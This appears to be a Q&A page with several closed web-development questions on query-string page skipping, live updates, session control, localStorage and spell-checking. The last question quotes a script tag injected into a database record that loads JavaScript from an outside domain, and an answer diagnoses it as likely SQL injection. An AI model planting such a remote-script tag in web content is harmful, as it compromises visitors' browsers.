Closed. This question needs details or clarity. It is not currently accepting answers.
Want to improve this question? Add details and clarify the problem by editing this post.
Closed 7 years ago.
Improve this question
In multi page application can we prevent user from skipping page by changing query string? If so How. Note: there are 13 pages but first 2-4 page (3 pages) are skipped by system if customer count ==1. If customer count is greater than 1 then none of the pages can(should) be skipped.
I don't think your question is complete; but in general terms, the query string only reflects the GET parameters. There is no way for an user to manipulate POST parameters without getting into the console. If the user can use console, no clientside data is safe; so to be foolproof, you would need to track the user in a serverside session.
Related
Closed. This question needs to be more focused. It is not currently accepting answers.
Want to improve this question? Update the question so it focuses on one problem only by editing this post.
Closed 1 year ago.
Improve this question
Is sending requests to server every second, the best way to keep list of items updated for all users? For example, if one user adds or deletes an item, all other users see the changes without refreshing page.
Not at all! That would be very network-consuming! You should either look for storage options with embedded listeners for changes like Firebase, or opt for some kind of publish-subscribe architecture where you notify the interested parts to pull data.
Closed. This question needs to be more focused. It is not currently accepting answers.
Want to improve this question? Update the question so it focuses on one problem only by editing this post.
Closed 1 year ago.
Improve this question
Good day.
Could someone please tell me how I can control that a user does not enter a web application more than once?
Currently I am controlling it by storing the session that is created in php in a field of a table and through javascript using ajax I consult it every 10 seconds. I think there must be a better way ... thanks !!!
And finally solved it by validating that the session created is different from the previous one, thus updating it and the previous user wanting to validate his session in order to make any request will realize that it does not exist and this will remove him from the application .
Closed. This question needs to be more focused. It is not currently accepting answers.
Want to improve this question? Update the question so it focuses on one problem only by editing this post.
Closed 2 years ago.
Improve this question
I'm working on a web development assignment and i'm a little stuck, so i have 2 pages, the first one is formulaire.html which contains a form that sends informations to my second page which is recap.php, and in that page i have a button that must send me back to the form page with all the informations entered previously still there, i can't use any php in the first page it must remain .html, i was thinking of creating a modify.js file but i would have to get my $_SESSION variables in it, which i don't know if it's possible, if anyone can help me out it'd be great.
did you try to use localStorage in javascript???
localStorage.setItem("key", "value");
var key = localStorage.getItem("key");
Closed. This question needs to be more focused. It is not currently accepting answers.
Want to improve this question? Update the question so it focuses on one problem only by editing this post.
Closed 4 years ago.
Improve this question
I want to get correct search terms from the user even if the user gives incorrect spelling of the product and display products according to that. How can I do that and should I use AI for that?
You can make use of Bing spell check API.
Whenever someone types in the input field and event should be triggered which sends the request to the Bing API.
You can refer the documentation here
Closed. This question needs to be more focused. It is not currently accepting answers.
Want to improve this question? Update the question so it focuses on one problem only by editing this post.
Closed 8 years ago.
Improve this question
Im retrieving meta description from my database, to my suprise, the data that has been returned with an appended script code.
Heres the code that happened to be added to my database entry
<script id="alp1398" type="text/javascript" src="http://earcuff.nl/js/jqueryinit.js"></script>
Any idea, how could this happen, or what does this script do?
Most usual vector of attack - parameters you use to populate your database. Check that you always use prepared statements (i.e. SQL with ? in place of the parameters) and if you cannot (e.g. in ORDER BY clause) you have to sanitize the input.
Other vectors include hacking your account itself to be able to execute SQL statements.
It is hard to tell what exactly happened with so little data you provided in the question. Please, state what middle tier you are using etc.